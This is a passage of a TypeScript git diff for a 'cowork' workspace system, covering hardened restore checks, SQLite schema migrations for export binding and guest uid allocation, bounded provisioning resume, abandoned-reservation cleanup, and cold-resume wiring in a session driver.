"exclusive"); + staging = undefined; syncDirectory(dir); + return { workspaceId, exportId, generation: validated.generation, restored: live.map(image => image.file), asideName, sharedName: sharedKept }; + } catch (error) { + if (staging && swapped === 0) { try { rmSync(staging, { recursive: true, force: true }); } catch { /* an inert dot-folder; the next restore of this generation refuses until it is removed by hand */ } } + if (swapped > 0 && !(error instanceof CoworkLifecycleError && error.code === "recovery_required")) throw new CoworkLifecycleError("recovery_required"); + if (error instanceof CoworkLifecycleError) throw error; + if (error instanceof ExportIoError && error.reason === "cancelled") throw error; + return lifecycleFail("export_not_ready"); + } finally { if (stagingFd >= 0) closeSync(stagingFd); if (lock) HELD.delete(lock); bundle.close(); } + } + + /** The workspace folder, resolved without a symlink in any component, owned by this user, mode 0700. */ + private workspaceDirectory(workspaceId: string): string { + const expected = join(realpathSync(this.ports.home), "cowork", "workspaces", workspaceId); + let real: string; + try { real = realpathSync(expected); } catch { return lifecycleFail("recovery_required"); } + const st = lstatSync(real); + if (real !== expected || !st.isDirectory() || st.uid !== process.geteuid?.() || (st.mode & 0o777) !== 0o700) return lifecycleFail("recovery_required"); + return real; + } + private inspectLive(workspaceId: string, dir: string) { + const rows = this.ports.rs.db.query("SELECT purpose,device,inode FROM cowork_volumes WHERE workspace_id=?").all(workspaceId); + return BUNDLE_IMAGE_FILES.map(file => { + let st: import("node:fs").BigIntStats | null = null; + try { st = lstatSync(join(dir, file), { bigint: true }); } catch (error) { if ((error as NodeJS.ErrnoException).code !== "ENOENT") throw error; } + if (st && (!st.isFile() || st.nlink !== 1n)) return lifecycleFail("restore_conflict"); // a symlink or special file where an image belongs + const row = rows.find(candidate => candidate.purpose === PURPOSE[file]); + const matchesRecord = !!st && !!row && row.device !== null && String(st.dev) === row.device && String(st.ino) === row.inode; + return { file, exists: !!st, matchesRecord }; + }); + } +} +function openStagingFd(path: string): number { return openSync(path, constants.O_RDONLY | constants.O_DIRECTORY | constants.O_NOFOLLOW); } diff --git a/packages/core/src/cowork/schema.ts b/packages/core/src/cowork/schema.ts index 8e9b4bac8..9ab2d4c4f 100644 --- a/packages/core/src/cowork/schema.ts +++ b/packages/core/src/cowork/schema.ts @@ -5,7 +5,7 @@ import type { Database } from "bun:sqlite"; export const COWORK_BACKUP_EXCLUDED_TABLES = ["cowork_peer_inbox_sequences", "cowork_peer_inbox"] as const; /** Reverse dependency order also permits removing an unused additive schema on explicit rollback. */ -export const COWORK_TABLES = ["cowork_session_reservations", "cowork_peer_inbox_sequences", "cowork_peer_inbox", "cowork_exports", "cowork_workspace_images", "cowork_output_directory_intents", "cowork_output_locations", "cowork_output_directories", "cowork_schedule_quarantines", "cowork_instruction_mutations", "cowork_instructions", "cowork_instruction_directories", "cowork_schedule_occurrences", "cowork_schedules", "cowork_folder_grants", "cowork_volumes", "cowork_volume_directories", "cowork_outbox_deliveries", "cowork_outbox", "cowork_conversations", "cowork_projects", "cowork_policies", "cowork_sources", "cowork_operations", "cowork_workspaces", "cowork_home_binding", "cowork_home_identity"] as const; +export const COWORK_TABLES = ["cowork_guest_boots", "cowork_guest_uids", "cowork_export_output_ids", "cowork_session_reservations", "cowork_peer_inbox_sequences", "cowork_peer_inbox", "cowork_exports", "cowork_workspace_images", "cowork_output_directory_intents", "cowork_output_locations", "cowork_output_directories", "cowork_schedule_quarantines", "cowork_instruction_mutations", "cowork_instructions", "cowork_instruction_directories", "cowork_schedule_occurrences", "cowork_schedules", "cowork_folder_grants", "cowork_volumes", "cowork_volume_directories", "cowork_outbox_deliveries", "cowork_outbox", "cowork_conversations", "cowork_projects", "cowork_policies", "cowork_sources", "cowork_operations", "cowork_workspaces", "cowork_home_binding", "cowork_home_identity"] as const; /** Host authority only. A guest manifest or rebuilt session index never populates these tables. */ export function migrateCoworkSchema(db: Database): void { @@ -358,3 +358,94 @@ export function migrateCoworkSessionReservationSchema(db: Database): void { PRIMARY KEY(principal_id,workspace_id,request_id) );`); } + +const columnsOf = (db: Database, table: string): string[] => db.query<{ name: string }, []>(`PRAGMA table_info(${table})`).all().map(column => column.name); + +/** v20, content-out (#97; definitions from that lane, DOOR owns the migration): an export's content binding. + * - `cowork_exports.content_digest`: lowercase hex SHA-256 of the bundle's exact `integrity.json` bytes, written once while + * the row is `prepared`; NULL means no binding (the restorer refuses). + * - `cowork_export_output_ids`: the export's reverse map from opaque output ids (`s` + 16 lowercase hex, random per session + * folder per export, never derived from the session id) to session ids. No foreign key on `session_id`: a session can be + * deleted while its export stays valid. Cowork authority (COWORK_TABLES), listed before `cowork_exports`. + * Idempotent (rewound `user_version` replays it). */ +export function migrateCoworkExportBindingSchema(db: Database): void { + if (!columnsOf(db, "cowork_exports").includes("content_digest")) { + db.exec("ALTER TABLE cowork_exports ADD COLUMN content_digest TEXT CHECK (content_digest IS NULL OR (length(content_digest) = 64 AND content_digest NOT GLOB '*[^0-9a-f]*'))"); + } + db.exec(`CREATE TABLE IF NOT EXISTS cowork_export_output_ids ( + export_id TEXT NOT NULL REFERENCES cowork_exports(export_id), + opaque_id TEXT NOT NULL CHECK (length(opaque_id) = 17 AND opaque_id GLOB 's*' AND substr(opaque_id, 2) NOT GLOB '*[^0-9a-f]*'), + session_id TEXT NOT NULL, + PRIMARY KEY (export_id, opaque_id), + UNIQUE (export_id, session_id) + );`); +} + +/** v21, #92 host side (design section 8, DOOR rows; records only, nothing reads them yet): + * - `cowork_conversations`: stable guest `runtime_uid`/`tool_uid` (L7, allocated once at bind), the four-state + * `store_state` (`none` at bind, `started` write-ahead before the first set, `created` at the first completed turn, `lost` + * when the store is gone; section 3.2) and `last_incarnation_id`. Existing rows whose guest already received a set (a + * recorded backend) start as `started`, never `none`, so a later resume can never be told "fresh" over a real store. + * - `cowork_workspaces`: the data volume's `store_volume_uuid` (kept and re-sent; CR4 step 9) and the per-workspace + * `browse_uid` (4b.3). + * - KNOWN GAP, dev rows only (no backfill, deliberately): before v21 every conversation's set carried the fixed pair + * 2001/2002 and nothing recorded it, so a pre-v21 conversation with a guest store has NO `cowork_guest_uids` row and a + * NULL `runtime_uid`/`tool_uid`. A backfill is not safe: several conversations of one workspace may all have stores + * owned by 2001/2002, and the table allows one owner per (workspace, uid). The first conversation to resume allocates + * the lowest free pair (2001/2002 when free), any other gets a different pair, and its old store is not owned by the new + * uids. That affects only pre-v21 dev stores (production has never created a Cowork guest store); such a store is + * recreated, never migrated in place. Every store created after v21 has its rows. + * - RULE for N3 (the allocator): a guest uid (runtime, tool or browse) is ONLY ever allocated through `cowork_guest_uids`, + * in the same transaction that writes it to `cowork_conversations`/`cowork_workspaces`; no column is ever set to a uid + * that has no row there, and no row is deleted before `released_at` (the trigger below). + * - `cowork_guest_uids`: the allocation table. One row per (workspace, uid), never reused while its owner's files may + * remain: a row is deleted only once `released_at` is set, and `released_at` needs `retired_at`. + * - `cowork_guest_boots`: the host's durable record of each guest boot at `hello`, and its end proof (the D1 evidence) + * after release; `endedGuestBoots` is built only from rows with a proof. + * - `cowork_peer_inbox` (PEER-INBOX's table; its columns come through DOOR's migration): `offer_count`, + * `acked_hold_token`, `commit_confirmed_at` and `commit_outcome` (4.5; `commit_confirmed_at` and `commit_outcome` are set together, enforced by a CHECK). + * Idempotent. */ +export function migrateCoworkResumeSchema(db: Database): void { + const conversations = columnsOf(db, "cowork_conversations"); + if (!conversations.includes("runtime_uid")) db.exec("ALTER TABLE cowork_conversations ADD COLUMN runtime_uid INTEGER CHECK (runtime_uid IS NULL OR runtime_uid BETWEEN 1000 AND 65533)"); + if (!conversations.includes("tool_uid")) db.exec("ALTER TABLE cowork_conversations ADD COLUMN tool_uid INTEGER CHECK (tool_uid IS NULL OR (tool_uid BETWEEN 1000 AND 65533 AND tool_uid != runtime_uid))"); + if (!conversations.includes("store_state")) { + db.exec("ALTER TABLE cowork_conversations ADD COLUMN store_state TEXT NOT NULL DEFAULT 'none' CHECK (store_state IN ('none','started','created','lost'))"); + db.exec("UPDATE cowork_conversations SET store_state='started' WHERE backend_session_id IS NOT NULL"); + } + if (!conversations.includes("last_incarnation_id")) db.exec("ALTER TABLE cowork_conversations ADD COLUMN last_incarnation_id TEXT"); + const workspaces = columnsOf(db, "cowork_workspaces"); + if (!workspaces.includes("store_volume_uuid")) db.exec("ALTER TABLE cowork_workspaces ADD COLUMN store_volume_uuid TEXT CHECK (store_volume_uuid IS NULL OR (length(store_volume_uuid) = 36 AND store_volume_uuid GLOB '[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]'))"); + if (!workspaces.includes("browse_uid")) db.exec("ALTER TABLE cowork_workspaces ADD COLUMN browse_uid INTEGER CHECK (browse_uid IS NULL OR browse_uid BETWEEN 1000 AND 65533)"); + const peer = columnsOf(db, "cowork_peer_inbox"); + if (!peer.includes("offer_count")) db.exec("ALTER TABLE cowork_peer_inbox ADD COLUMN offer_count INTEGER NOT NULL DEFAULT 0 CHECK (offer_count >= 0)"); + if (!peer.includes("acked_hold_token")) db.exec("ALTER TABLE cowork_peer_inbox ADD COLUMN acked_hold_token TEXT CHECK (acked_hold_token IS NULL OR (length(acked_hold_token) = 64 AND acked_hold_token NOT GLOB '*[^0-9a-f]*'))"); + if (!peer.includes("commit_confirmed_at")) db.exec("ALTER TABLE cowork_peer_inbox ADD COLUMN commit_confirmed_at REAL"); + if (!peer.includes("commit_outcome")) db.exec("ALTER TABLE cowork_peer_inbox ADD COLUMN commit_outcome TEXT CHECK (commit_outcome IS NULL OR commit_outcome IN ('folded','queued','started','already','lost')) CHECK ((commit_confirmed_at IS NULL) = (commit_outcome IS NULL))"); + db.exec(` + CREATE UNIQUE INDEX IF NOT EXISTS cowork_conversations_runtime_uid ON cowork_conversations(workspace_id, runtime_uid) WHERE runtime_uid IS NOT NULL; + CREATE UNIQUE INDEX IF NOT EXISTS cowork_conversations_tool_uid ON cowork_conversations(workspace_id, tool_uid) WHERE tool_uid IS NOT NULL; + CREATE TABLE IF NOT EXISTS cowork_guest_uids ( + workspace_id TEXT NOT NULL REFERENCES cowork_workspaces(workspace_id), + uid INTEGER NOT NULL CHECK (uid BETWEEN 1000 AND 65533), + role TEXT NOT NULL CHECK (role IN ('runtime','tool','browse')), + session_id TEXT, allocated_at TEXT NOT NULL, retired_at TEXT, released_at TEXT, + PRIMARY KEY (workspace_id, uid), + CHECK ((role = 'browse') = (session_id IS NULL)), + CHECK (released_at IS NULL OR retired_at IS NOT NULL) + ); + CREATE UNIQUE INDEX IF NOT EXISTS cowork_guest_uids_owner ON cowork_guest_uids(workspace_id, session_id, role) WHERE session_id IS NOT NULL; + CREATE UNIQUE INDEX IF NOT EXISTS cowork_guest_uids_browse ON cowork_guest_uids(workspace_id) WHERE role = 'browse'; + CREATE TRIGGER IF NOT EXISTS cowork_guest_uids_kept BEFORE DELETE ON cowork_guest_uids WHEN OLD.released_at IS NULL + BEGIN SELECT RAISE(ABORT, 'a guest uid is kept until its files are proven removed'); END; + CREATE TABLE IF NOT EXISTS cowork_guest_boots ( + workspace_id TEXT NOT NULL REFERENCES cowork_workspaces(workspace_id), + incarnation_id TEXT NOT NULL, lease_epoch INTEGER NOT NULL CHECK (lease_epoch > 0), + guest_boot_id TEXT NOT NULL UNIQUE CHECK (length(guest_boot_id) = 36 AND guest_boot_id GLOB '[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f]-[0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f][0-9a-f]'), + recorded_at TEXT NOT NULL, + ended_proof TEXT CHECK (ended_proof IS NULL OR ended_proof IN ('orderly-receipt','new-boot','owner-recover')), + ended_at TEXT, + PRIMARY KEY (workspace_id, incarnation_id), + CHECK ((ended_proof IS NULL) = (ended_at IS NULL)) + );`); +} diff --git a/packages/core/src/cowork/service.ts b/packages/core/src/cowork/service.ts index e6bad21f6..e70a3e4c4 100644 --- a/packages/core/src/cowork/service.ts +++ b/packages/core/src/cowork/service.ts @@ -40,6 +40,9 @@ export interface CoworkHostPorts { * callback (`CoworkGuestStartRequest`, asked once at `mounted`); the Cowork driver takes the narrower `CoworkGuestStarter` * (session-ports.ts), whose result is the running incarnation. */ export interface CoworkGuestStartPort { start(workspaceId: string, request?: CoworkGuestStartRequest): Promise } +/** Session door D4 fix: `resumeProvisioning`'s keyset page and its in-flight bound. */ +export const COWORK_PROVISION_PAGE = 64; +export const COWORK_PROVISION_CONCURRENCY = 4; const NO_GRANTS: CoworkGrantResolver = { folder: () => undefined, repository: () => undefined }; const RESPONSE_BUDGET = 128 * 1024; const hash = (value: string) => createHash("sha256").update(value).digest("hex"); @@ -247,7 +250,11 @@ export class CoworkWorkspaceService { throw error; } } - private readonly provisioning = new Map>(); + private readonly provisionDrives = new Map>(); + /** Operations whose port answered `applied` in this process: they wait for the guest, so `resumeProvisioning` leaves them + * alone (a boot drives every pending creation once; within a process only the unanswered ones again). */ + private readonly provisionApplied = new Set(); + private resuming: Promise | undefined; /** * Session door D4c: run S7B's `provision(workspaceId, operationId)` for a committed creation, once at a time per operation. * Only with the port (no production host supplies it). Its answer is recorded through the operation: @@ -261,23 +268,50 @@ export class CoworkWorkspaceService { private provisionAfterCommit(workspaceId: string, operationId: string): Promise { const port = this.host.provisioning; if (port === undefined) return Promise.resolve(); - const running = this.provisioning.get(operationId); + const running = this.provisionDrives.get(operationId); if (running !== undefined) return running; if (this.records.operation(workspaceId, operationId).status !== "pending") return Promise.resolve(); const run = (async () => { let answer: unknown; try { answer = await port.provision(workspaceId, operationId); } catch { return; } const status = answer !== null && typeof answer === "object" ? (answer as { status?: unknown }).status : undefined; + if (status === "applied") this.provisionApplied.add(operationId); if (status === "failed") { try { this.records.failCreationProvisioning(workspaceId, operationId); } catch { /* left pending: a later resume decides */ } } - })().finally(() => { this.provisioning.delete(operationId); }); - this.provisioning.set(operationId, run); + })().finally(() => { this.provisionDrives.delete(operationId); }); + this.provisionDrives.set(operationId, run); return run; } - /** Session door D4c: drive provisioning for every creation still pending (a crash between COMMIT and `provision`). The host - * that supplies the port calls it once at boot. Resolves when every drive it started has settled; never rejects. */ - async resumeProvisioning(): Promise { - if (this.host.provisioning === undefined) return; - await Promise.all(this.records.pendingCreations().map(({ workspaceId, operationId }) => this.provisionAfterCommit(workspaceId, operationId))); + /** + * Session door D4c: drive provisioning for every creation still pending (a crash between COMMIT and `provision`). The host + * that supplies the port calls it once at boot. EVERY pending creation is driven, oldest first (created_at, then + * operation id), in keyset pages of `COWORK_PROVISION_PAGE`, with at most `COWORK_PROVISION_CONCURRENCY` drives in flight: + * no row bound, so a backlog of creations waiting on their guest can never starve a newer crash-interrupted one. One + * resume at a time (a second call joins the running one). Resolves when every drive it started has settled; never + * rejects, even on a synchronous throw. + */ + resumeProvisioning(): Promise { + if (this.host.provisioning === undefined) return Promise.resolve(); + if (this.resuming !== undefined) return this.resuming; + const run = (async () => { + let after: { createdAt: string; operationId: string } | undefined; + for (;;) { + const page = this.records.pendingCreations(COWORK_PROVISION_PAGE, after); + if (page.length === 0) return; + const todo = page.filter(item => !this.provisionApplied.has(item.operationId)); + let next = 0; + const worker = async () => { + while (next < todo.length) { + const item = todo[next++]!; + try { await this.provisionAfterCommit(item.workspaceId, item.operationId); } catch { /* uncertain: stays pending */ } + } + }; + await Promise.all(Array.from({ length: Math.min(COWORK_PROVISION_CONCURRENCY, todo.length) }, worker)); + const last = page[page.length - 1]!; + after = { createdAt: last.createdAt, operationId: last.operationId }; + } + })().catch(() => { /* never rejects: whatever was not driven stays pending for the next resume */ }).finally(() => { this.resuming = undefined; }); + this.resuming = run; + return run; } /** Session door D4b: S7B's `provisioning.admit` when the host supplies the port, otherwise the host's refusing gate. */ private admitProvisioning(principal: CoworkPrincipal): void { diff --git a/packages/core/src/cowork/session-door.ts b/packages/core/src/cowork/session-door.ts index d89da5f09..66cfb33e7 100644 --- a/packages/core/src/cowork/session-door.ts +++ b/packages/core/src/cowork/session-door.ts @@ -27,7 +27,8 @@ import { CoworkError } from "./types"; * 3. the session store row and its seq-1 `session_created`, created or found (`SessionStore.ensureCoworkSession`); * 4. the binding, created or found (`CoworkRepository.bindConversation`); then the reservation is marked bound. * A crash between any two steps leaves a state the next attempt of the same request resumes from, so a retry never mints a - * second conversation. A DEFINITE bind refusal (nothing bound) withdraws the store row and then the reservation, so the + * second conversation. A standalone workspace's reservation that its request ABANDONS (no retry within + * `COWORK_STALE_RESERVATION_MS`, nothing bound) is withdrawn by the next authorized create, so the workspace is never held. A DEFINITE bind refusal (nothing bound) withdraws the store row and then the reservation, so the * request starts over cleanly. A race on one request resolves to one conversation: the body runs synchronously (no await, * so two creates in this process do not interleave), and even interleaved each step finds what the other wrote. */ @@ -92,8 +93,15 @@ export interface CoworkSessionDoorDeps extends CoworkSessionDriverDeps { principal(connection: CoworkConnection): CoworkPrincipal | undefined; /** The schedule service's view. Absent: the schedule caller is refused like any other unknown caller. */ readonly schedules?: CoworkScheduleDispatchView; + /** How long a standalone workspace's pending reservation is left for its own request to resume before another + * create may withdraw it (`COWORK_STALE_RESERVATION_MS` by default). Tests only pass a different value. */ + readonly staleReservationMs?: number; } +/** A pending reservation older than this is ABANDONED: a non-`CoworkError` throw in bind, or a crash after the store row, + * whose request was never retried. Within it, only that same request resumes (any other answers `conversation_limit`). */ +export const COWORK_STALE_RESERVATION_MS = 10 * 60_000; + const canonical = (value: unknown): string => JSON.stringify(value, (_key, item) => item && typeof item === "object" && !Array.isArray(item) ? Object.fromEntries(Object.keys(item).sort().map(key => [key, item[key]])) : item); const ID = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,199}$/; const SCOPE = /^[a-z0-9]([a-z0-9-]{0,39}[a-z0-9])?$/; @@ -124,6 +132,13 @@ export function createCoworkSessionDoor(deps: CoworkSessionDoorDeps): CoworkSess return principal.id; }; + /** Nothing bound: the store row first, THEN the reservation. The reverse order, interrupted, would leave a store row no + * reservation admits, and every later create of a standalone workspace would then meet `taken` (`authority_denied`). */ + const withdraw = (sessionId: string): void => { + store.withdrawCoworkSession(sessionId, id => records.conversationWorkspace(id) !== undefined); + records.withdrawReservation(sessionId); + }; + const create = (input: CoworkSessionCreateInput, caller: CoworkConnection): { sessionId: string } => { const route = deps.route; if (route === undefined || deps.native === undefined || deps.offer === undefined || deps.approvals === undefined) throw new CoworkError("provider_unavailable"); @@ -135,6 +150,12 @@ export function createCoworkSessionDoor(deps: CoworkSessionDoorDeps): CoworkSess if (location.kind === "source" && !ID.test(location.sourceId)) throw new CoworkError("invalid_request"); const requestDigest = createHash("sha256").update(canonical({ scope: input.scope, workspaceId: input.workspaceId, location })).digest("hex"); + // 1b. A standalone workspace holds ONE conversation: a reservation its own request abandoned (pending past the window, + // nothing bound) would hold it for good. Another authorized create withdraws it first, the store row THEN the + // reservation, exactly as a definite refusal does (a crash between leaves a pending reservation, swept again). + const abandoned = records.abandonedReservation(input.workspaceId, { principalId, requestId: input.requestId }, Date.now() - (deps.staleReservationMs ?? COWORK_STALE_RESERVATION_MS)); + if (abandoned !== undefined) withdraw(abandoned); + // 2. Reserve (or find this request's reservation). const reservation = records.reserveConversation({ principalId, workspaceId: input.workspaceId, requestId: input.requestId, scope: input.scope, requestDigest }, sessionId => store.hasSession(sessionId)); const sessionId = reservation.sessionId; @@ -168,7 +189,7 @@ export function createCoworkSessionDoor(deps: CoworkSessionDoorDeps): CoworkSess if (!bound) { // Definite: nothing bound. Withdraw the store row, THEN the reservation (a crash between leaves a pending // reservation, which the next attempt resumes). - if (error instanceof CoworkError) { store.withdrawCoworkSession(sessionId, () => records.conversationWorkspace(sessionId) !== undefined); records.withdrawReservation(sessionId); } + if (error instanceof CoworkError) withdraw(sessionId); throw error; } } diff --git a/packages/core/src/cowork/session-driver.ts b/packages/core/src/cowork/session-driver.ts index 8b0daa1dd..abd176e7f 100644 --- a/packages/core/src/cowork/session-driver.ts +++ b/packages/core/src/cowork/session-driver.ts @@ -11,15 +11,17 @@ import type { SessionHub } from "../sessions/hub"; import type { SessionStore } from "../sessions/store"; import { turnOriginIndexFor } from "../sessions/turn-origin-index"; import { coworkApprovalPortsFor, type CoworkHostApprovalPorts } from "./approval-ports"; +import { coworkContinuationFor, coworkResumePlan, type CoworkResumePlan } from "./cold-resume"; +import { coworkHeldInputsFrom, coworkHeldInputVerbs, type CoworkHeldInputVerbs, coworkOffersHeldInput, coworkTapHeldInputs, type CoworkHeldInputRecord } from "./held-input"; import type { CoworkAuthority } from "./authority"; -import { COWORK_GUEST_RUNTIME_MODES, coworkConversationCeiling, coworkConversationFor, coworkGuestToolsFromClasses } from "./conversation-set"; +import { COWORK_GUEST_IDENTITIES, COWORK_GUEST_RUNTIME_MODES, coworkConversationCeiling, coworkConversationFor, coworkGuestToolsFromClasses } from "./conversation-set"; import { buildCoworkGuestQueryOptions } from "./guest-query"; import { CoworkGuestRuntimeSupervisor, coworkGuestOfferedTools } from "./guest-runtime"; import type { CoworkRepository } from "./repository"; import { coworkGuestRuntimeChannel } from "./runtime-channel"; import type { CoworkApprovalPort, CoworkGuestConversation, CoworkGuestConversationContext, CoworkGuestRun, CoworkGuestRuntimeOffer, CoworkGuestStarter, - CoworkGuestStopOutcome, CoworkLegSession, CoworkProviderRoute, CoworkSessionDrivers, + CoworkGuestStopOutcome, CoworkLegSession, CoworkMountedShare, CoworkProviderRoute, CoworkSessionDrivers, } from "./session-ports"; import { CoworkError, type CapabilityCeiling, type CoworkConversation, type WorkspaceSource } from "./types"; @@ -70,6 +72,46 @@ export interface CoworkSessionDriverDeps { /** Test seam for `WINTER_SESSION_END_GRACE_MS`. */ readonly endGraceMs?: number; readonly log?: (line: string) => void; + /** #92 N3: cold resume. Absent (every production composition, pinned): a conversation with a recorded backend refuses + * `cold_resume_unavailable`. Supplied ONLY once the owner has applied the cold-resume owner patch (the unmodified native + * owner refuses a resume record) and S7B's v3 host carries `CoworkGuestStartRequest.resume` to the guest. */ + readonly coldResume?: { readonly ownerPatchApplied: true }; + /** #92 N4: held-input messaging. Absent (every production composition, pinned): no driver exposes `heldInput`. Present, + * a driver exposes it only to a runtime that offered `held-input-v1`. */ + readonly heldInput?: { + readonly enabled: true; + /** Design rule 1 (4.5): the verbs bind to the incarnation's epoch only AFTER the runtime's `system/held_inputs` was + * reconciled with the host's ledger. The driver calls this once with that list and the live epoch; the verbs stay + * refused until it resolves, and a throw (or a malformed list) leaves them refused for the incarnation. A gate without + * it is not a gate: PEER-INBOX supplies the ledger side. */ + readonly reconcile: (context: CoworkHeldInputReconcileContext) => void | Promise; + /** Called once the epoch IS published (after a successful reconcile): the owed messages may now be offered. */ + readonly published?: (sessionId: string) => void; + }; +} + +/** What the reconcile gets: the runtime's reported held inputs, the epoch it runs under, and verbs bound to that epoch EVEN + * BEFORE it is published (the reconcile is what decides each held input; nothing else may use them). */ +export interface CoworkHeldInputReconcileContext { + readonly sessionId: string; + readonly inputs: readonly CoworkHeldInputRecord[]; + readonly epoch: { readonly incarnationId: string; readonly leaseEpoch: number }; + readonly verbs: CoworkHeldInputVerbs; +} + +/** + * #92 N2: the guest mounted these folder shares for this incarnation. Each named source must be a present folder source of + * the workspace, `preparing` (the incarnation reset it), at the revision the share was prepared from; it is then + * acknowledged `ready` under the incarnation's CURRENT epoch. At most 12 (the contract's share limit), no repeats. Any + * refusal throws typed and the host faults the boot, and nothing is acknowledged (all or nothing). + */ +export function coworkAcknowledgeMountedShares(records: Pick, context: CoworkGuestConversationContext, mounted: readonly CoworkMountedShare[]): void { + if (!Array.isArray(mounted) || mounted.length < 1 || mounted.length > 12 || new Set(mounted.map(share => share?.sourceId)).size !== mounted.length) throw new CoworkError("invalid_request"); + for (const share of mounted) { + if (!share || typeof share.sourceId !== "string" || !Number.isSafeInteger(share.revision) || share.revision < 1) throw new CoworkError("invalid_request"); + } + // All or nothing: the repository validates every entry, then acknowledges them in one transaction. + records.acknowledgeMountedShares(records.refreshEpoch(context.workspaceId, context.incarnationId, context.leaseEpoch), mounted.map(share => ({ sourceId: share.sourceId, revision: share.revision }))); } const unsupported = (): never => { throw new CoworkError("unsupported_topology"); }; @@ -118,8 +160,13 @@ export function createCoworkSessionDrivers(deps: CoworkSessionDriverDeps): Cowor if (entries.get(entry.sessionId) === entry) entries.delete(entry.sessionId); }; - const assemble = (sessionId: string, binding: CoworkConversation, route: CoworkProviderRoute, native: CoworkGuestStarter, offer: CoworkGuestRuntimeOffer, approvals: CoworkApprovalPort): Entry => { - const backendSessionId = (deps.mintBackendSessionId ?? randomUUID)(); + const assemble = (sessionId: string, binding: CoworkConversation, route: CoworkProviderRoute, native: CoworkGuestStarter, offer: CoworkGuestRuntimeOffer, approvals: CoworkApprovalPort, + resume?: { readonly backendSessionId: string; readonly plan: CoworkResumePlan }): Entry => { + // A resumed conversation keeps its recorded backend identity (its guest store is keyed by it); a fresh one mints one. + const backendSessionId = resume?.backendSessionId ?? (deps.mintBackendSessionId ?? randomUUID)(); + let liveQuery: unknown; + /** N4 rule 1: the verbs bind to the epoch only once `system/held_inputs` was reconciled (`heldInput.reconcile`). */ + let heldReconciled = false, heldReconciling = false; const turnOrigin = () => turnOriginIndexFor(deps.hub, deps.store).origin(sessionId); let bridge: (CanUseTool & { withdrawPending(callId: string): boolean }) | undefined; let stopping: Promise | undefined; @@ -137,7 +184,8 @@ export function createCoworkSessionDrivers(deps: CoworkSessionDriverDeps): Cowor catch (error) { let assigned = true; try { assigned = deps.records.conversationBackend(sessionId) !== null; } catch { /* unreadable: keep it consumed */ } - if (!assigned) close(entry); + // A failed resume closes too: the next `ensure` plans the resume again from the records. + if (!assigned || resume !== undefined) close(entry); throw error; } }; @@ -146,36 +194,63 @@ export function createCoworkSessionDrivers(deps: CoworkSessionDriverDeps): Cowor entry.consumed = true; if (shuttingDown) throw shutdownRefusal(); let admitted: Admitted | undefined, refusal: unknown; + let resumeOption = false; const conversations = (context: CoworkGuestConversationContext) => { try { + // A refused `shares_mounted` faulted this boot: no set follows it. + if (refusal !== undefined) throw refusal; if (admitted !== undefined) throw new CoworkError("recovery_required"); if (context.workspaceId !== binding.workspaceId) throw new CoworkError("authority_denied"); // D3b: either location; the source facts are compared only for a source conversation. const current = deps.records.conversation(sessionId); if (current.workspaceId !== binding.workspaceId || current.location !== binding.location || current.revision !== binding.revision || (current.location === "source" && binding.location === "source" && current.sourceId !== binding.sourceId)) throw new CoworkError("stale_acknowledgment"); + // L8: `lost` is terminal. The store state may have changed since `ensure` planned this start (the host marks it + // lost during the native start: a format-new plan over a started store); the plan must still hold at the set. + const stateNow = deps.records.storeState(sessionId).storeState; + if (stateNow === "lost") throw new CoworkError("cold_resume_unavailable"); + if (resume !== undefined && coworkContinuationFor(stateNow) !== resume.plan.continuation) throw new CoworkError("cold_resume_unavailable"); const epoch = deps.records.refreshEpoch(context.workspaceId, context.incarnationId, context.leaseEpoch); const source = current.location === "source" ? deps.authority.requireSource(current.workspaceId, current.sourceId) : undefined; const ceiling = current.location === "source" ? deps.authority.effectiveCapabilities(sessionId) : coworkConversationCeiling(deps.records, sessionId); + // L7: the conversation's stable uids, allocated once through the uid table (the same pair on every incarnation). + const uids = deps.records.allocateGuestUids(sessionId, COWORK_GUEST_IDENTITIES.workspaceGid); const set = coworkConversationFor({ binding: current, ...(source === undefined ? {} : { source }), context, configRevision: epoch.configRevision, grantRevision: epoch.grantRevision, policyRevision: deps.records.policy(current.workspaceId).revision, homeId: deps.records.homeIdentity(), backendSessionId, - offered: coworkGuestOfferedTools(current.policy, ceiling, offer.readiness), route, + offered: coworkGuestOfferedTools(current.policy, ceiling, offer.readiness), route, uids, }); // The guest creates its store when it receives this set: from here on the conversation can never start fresh. - deps.records.assignConversationBackend(sessionId, backendSessionId); + // Write-ahead (N3): the store state becomes `started`, with the incarnation that received it. + deps.records.assignConversationBackend(sessionId, backendSessionId, context.incarnationId); admitted = { binding: current, source, ceiling, context, conversation: set.conversations[0]! }; return set; } catch (error) { refusal = error; throw error; } }; + // #92 N2: shares are acknowledged at `shares_mounted`, which precedes the set; never after it. + const sharesMounted = (context: CoworkGuestConversationContext, mounted: readonly CoworkMountedShare[]) => { + try { + if (admitted !== undefined) throw new CoworkError("recovery_required"); + if (context.workspaceId !== binding.workspaceId) throw new CoworkError("authority_denied"); + coworkAcknowledgeMountedShares(deps.records, context, mounted); + } catch (error) { refusal = error; throw error; } + }; let run: CoworkGuestRun; - try { run = await native.start(binding.workspaceId, { conversations }); } + try { run = await native.start(binding.workspaceId, { conversations, sharesMounted, ...(resume === undefined ? {} : { resume: resume.plan }) }); } catch (error) { throw refusal ?? error; } entry.run = run; void run.ended.then(() => { close(entry); void entry.session.end(); }, () => { close(entry); void entry.session.end(); }); const refuse = async (code: ConstructorParameters[0]): Promise => { await stopRun("user"); throw new CoworkError(code); }; if (admitted === undefined) return refuse("recovery_required"); if (run.workspaceId !== binding.workspaceId || run.incarnationId !== admitted.context.incarnationId || run.leaseEpoch !== admitted.context.leaseEpoch || run.guestBootId !== admitted.context.guestBootId) return refuse("authority_denied"); + // CR2: the query's `resume` follows what the guest actually took. `resume` is known to exist; `either` needs the + 